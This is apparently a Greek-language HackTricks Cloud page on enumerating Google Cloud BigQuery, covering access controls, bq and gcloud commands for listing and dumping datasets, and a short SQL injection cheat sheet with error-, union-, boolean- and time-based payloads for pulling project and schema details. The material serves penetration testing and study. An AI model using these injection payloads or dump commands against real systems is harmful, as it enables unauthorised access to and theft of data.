GCP - Bigquery Enum
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
Το Google Cloud BigQuery είναι μια πλήρως διαχειριζόμενη, χωρίς διακομιστή επιχείρηση αποθήκευσης δεδομένων, προσφέροντας δυνατότητες για ανάλυση πάνω από πεταβίτες δεδομένων, διαχειριζόμενη έτσι μεγάλης κλίμακας σύνολα δεδομένων αποτελεσματικά. Ως Πλατφόρμα ως Υπηρεσία (PaaS), παρέχει στους χρήστες υποδομή και εργαλεία για να διευκολύνουν τη διαχείριση δεδομένων χωρίς την ανάγκη χειροκίνητης εποπτείας.
Υποστηρίζει ερωτήματα χρησιμοποιώντας ANSI SQL. Τα κύρια αντικείμενα είναι σύνολα δεδομένων που περιέχουν πίνακες που περιέχουν SQL δεδομένα.
Encryption
Από προεπιλογή χρησιμοποιείται ένα κλειδί κρυπτογράφησης που διαχειρίζεται η Google, αν και είναι δυνατόν να ρυθμιστεί ένα κλειδί κρυπτογράφησης που διαχειρίζεται ο πελάτης (CMEK). Είναι δυνατόν να υποδειχθεί το κλειδί κρυπτογράφησης ανά σύνολο δεδομένων και ανά πίνακα μέσα σε ένα σύνολο δεδομένων.
Expiration
Είναι δυνατόν να υποδειχθεί μια χρονική λήξη στο σύνολο δεδομένων έτσι ώστε οποιοσδήποτε νέος πίνακας δημιουργηθεί σε αυτό το σύνολο δεδομένων να διαγράφεται αυτόματα τον καθορισμένο αριθμό ημερών μετά τη δημιουργία.
External Sources
Το Bigquery είναι βαθιά ενσωματωμένο με άλλες υπηρεσίες της Google. Είναι δυνατόν να φορτωθούν δεδομένα από buckets, pub/sub, google drive, βάσεις δεδομένων RDS…
Dataset ACLs
Όταν δημιουργείται ένα σύνολο δεδομένων, οι ACLs επισυνάπτονται για να δώσουν πρόσβαση σε αυτό. Από προεπιλογή, παρέχονται δικαιώματα Ιδιοκτήτη στον χρήστη που δημιούργησε το σύνολο δεδομένων και στη συνέχεια Ιδιοκτήτης στην ομάδα projectOwners (Ιδιοκτήτες του έργου), Συγγραφέας στην ομάδα projectWriters, και Αναγνώστης στην ομάδα projectReaders:
bq show --format=prettyjson <proj>:<dataset>
...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...
Έλεγχος Πρόσβασης Γραμμών Πίνακα
Είναι δυνατόν να ελέγξετε τις γραμμές που ένας κύριος θα μπορεί να έχει πρόσβαση μέσα σε έναν πίνακα με πολιτικές πρόσβασης γραμμών. Αυτές ορίζονται μέσα στον πίνακα χρησιμοποιώντας DDL.
Η πολιτική πρόσβασης ορίζει ένα φίλτρο και μόνο οι αντίστοιχες γραμμές με αυτό το φίλτρο θα είναι προσβάσιμες από τους καθορισμένους κύριους.
# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');
# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');
# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
Έλεγχος Πρόσβασης Στηλών
.png)
Για να περιορίσετε την πρόσβαση στα δεδομένα σε επίπεδο στήλης:
- Ορίστε μια ταξινόμηση και ετικέτες πολιτικής. Δημιουργήστε και διαχειριστείτε μια ταξινόμηση και ετικέτες πολιτικής για τα δεδομένα σας. https://console.cloud.google.com/bigquery/policy-tags
- Προαιρετικά: Δώστε τον ρόλο Αναγνώστη Λεπτομερούς Καταλόγου Δεδομένων σε ένα ή περισσότερα πρόσωπα σε μία ή περισσότερες από τις ετικέτες πολιτικής που δημιουργήσατε.
- Αναθέστε ετικέτες πολιτικής στις στήλες σας στο BigQuery. Στο BigQuery, χρησιμοποιήστε ανα annotations σχήματος για να αναθέσετε μια ετικέτα πολιτικής σε κάθε στήλη όπου θέλετε να περιορίσετε την πρόσβαση.
- Επιβάλετε τον έλεγχο πρόσβασης στην ταξινόμηση. Η επιβολή του ελέγχου πρόσβασης προκαλεί την εφαρμογή των περιορισμών πρόσβασης που ορίζονται για όλες τις ετικέτες πολιτικής στην ταξινόμηση.
- Διαχειριστείτε την πρόσβαση στις ετικέτες πολιτικής. Χρησιμοποιήστε Identity and Access Management (IAM) πολιτικές για να περιορίσετε την πρόσβαση σε κάθε ετικέτα πολιτικής. Η πολιτική ισχύει για κάθε στήλη που ανήκει στην ετικέτα πολιτικής.
Όταν ένας χρήστης προσπαθεί να αποκτήσει πρόσβαση στα δεδομένα στήλης κατά τη διάρκεια του ερωτήματος, το BigQuery ελέγχει την ετικέτα πολιτικής της στήλης και την πολιτική της για να δει αν ο χρήστης είναι εξουσιοδοτημένος να αποκτήσει πρόσβαση στα δεδομένα.
Tip
Ως σύνοψη, για να περιορίσετε την πρόσβαση σε ορισμένες στήλες σε ορισμένους χρήστες, μπορείτε να προσθέσετε μια ετικέτα στη στήλη στο σχήμα και να περιορίσετε την πρόσβαση των χρηστών στην ετικέτα επιβάλλοντας τον έλεγχο πρόσβασης στην ταξινόμηση της ετικέτας.
Για να επιβάλετε τον έλεγχο πρόσβασης στην ταξινόμηση, είναι απαραίτητο να ενεργοποιήσετε την υπηρεσία:
gcloud services enable bigquerydatapolicy.googleapis.com
Είναι δυνατόν να δείτε τις ετικέτες των στηλών με:
bq show --schema <proj>:<dataset>.<table>
[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]
Καταμέτρηση
# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)
# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table> # Get schema of a table
# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files
# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json
# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>
# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>
# Misc
bq show --encryption_service_account # Get encryption service account
BigQuery SQL Injection
Για περισσότερες πληροφορίες μπορείτε να ελέγξετε την ανάρτηση του blog: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Εδώ θα δοθούν μόνο μερικές λεπτομέρειες.
Σχόλια:
select 1#from here it is not workingselect 1/*between those it is not working*/Αλλά μόνο η αρχική δεν θα λειτουργήσειselect 1--from here it is not working
Πάρτε πληροφορίες σχετικά με το περιβάλλον όπως:
- Τρέχων χρήστης:
select session_user() - ID έργου:
select @@project_id
Συνδυάστε γραμμές:
- Όλα τα ονόματα πινάκων:
string_agg(table_name, ', ')
Πάρτε datasets, tables και column ονόματα:
- Project και dataset όνομα:
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
- Ονόματα στήλης και πίνακα όλων των πινάκων του συνόλου δεδομένων:
# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
- Άλλα σύνολα δεδομένων στο ίδιο έργο:
# SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA
SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA
Τύποι SQL Injection:
- Βασισμένο σε σφάλματα - casting:
select CAST(@@project_id AS INT64) - Βασισμένο σε σφάλματα - διαίρεση με το μηδέν:
' OR if(1/(length((select('a')))-1)=1,true,false) OR ' - Βασισμένο σε Union (πρέπει να χρησιμοποιήσετε ALL στο bigquery):
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name# - Βασισμένο σε Boolean:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'# - Πιθανώς βασισμένο σε χρόνο - Χρήση δημόσιων συνόλων δεδομένων παράδειγμα:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Τεκμηρίωση:
- Λίστα όλων των συναρτήσεων: https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
- Δηλώσεις scripting: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Κλιμάκωση Δικαιωμάτων & Μετά την Εκμετάλλευση
Επιμονή
Αναφορές
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

